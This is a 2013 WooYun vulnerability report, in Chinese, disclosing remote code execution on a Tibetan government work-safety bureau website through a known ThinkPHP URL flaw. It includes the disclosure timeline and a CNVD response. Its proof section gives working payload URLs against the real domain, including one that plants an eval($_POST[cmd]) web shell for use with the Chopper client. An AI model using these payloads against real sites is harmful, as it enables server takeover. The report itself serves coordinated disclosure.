漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2013-018449
漏洞标题：西藏自治区安全生产监督管理局网站命令代码执行
相关厂商：西藏自治区安全生产监督管理局
漏洞作者： 低调的瘦子
提交时间：2013-02-06 13:48
修复时间：2013-03-23 13:49
公开时间：2013-03-23 13:49
漏洞类型：命令执行
危害等级：高
自评Rank：15
漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2013-02-06： 细节已通知厂商并且等待厂商处理中
2013-02-07： 厂商已经确认，细节仅向厂商公开
2013-02-17： 细节向核心白帽子及相关领域专家公开
2013-02-27： 细节向普通白帽子公开
2013-03-09： 细节向实习白帽子公开
2013-03-23： 细节向公众公开
简要描述：
该网站采用ThinkPHP框架 导致可在URL中构造任意代码执行 该漏洞不是新的，不过做为政府网站也应该引起注意，对群众负责。。。沦陷就不好了。。
（ps：辛苦搜集，只为求个邀请码。谢谢,一直借朋友号，想要自己有个所以。。）
详细说明：
漏洞证明：
http://www.tibetsafety.gov.cn/index.php/module/action/param1/$%7B@print(THINK_VERSION)%7D
查看ThinkPHP版本
http://www.tibetsafety.gov.cn/index.php/module/action/param1/$%7B@print(phpinfo())%7D
可查看phpinfo信息
http://www.tibetsafety.gov.cn/index.php/module/action/param1/{${eval($_POST[cmd])}}
构造一句话，用菜刀连接，可拿shell
望尽快修补避免造成损失。。
修复方案：
打补丁
版权声明：转载请注明来源 低调的瘦子@乌云
漏洞回应
厂商回应：
危害等级：中
漏洞Rank：7
确认时间：2013-02-07 13:35
厂商回复：
CNVD确认并复现所述情况，已在7日转由CNCERT西藏分中心直接协调网站管理方处置。
按通用软件漏洞进行评分，rank 7
最新状态：
暂无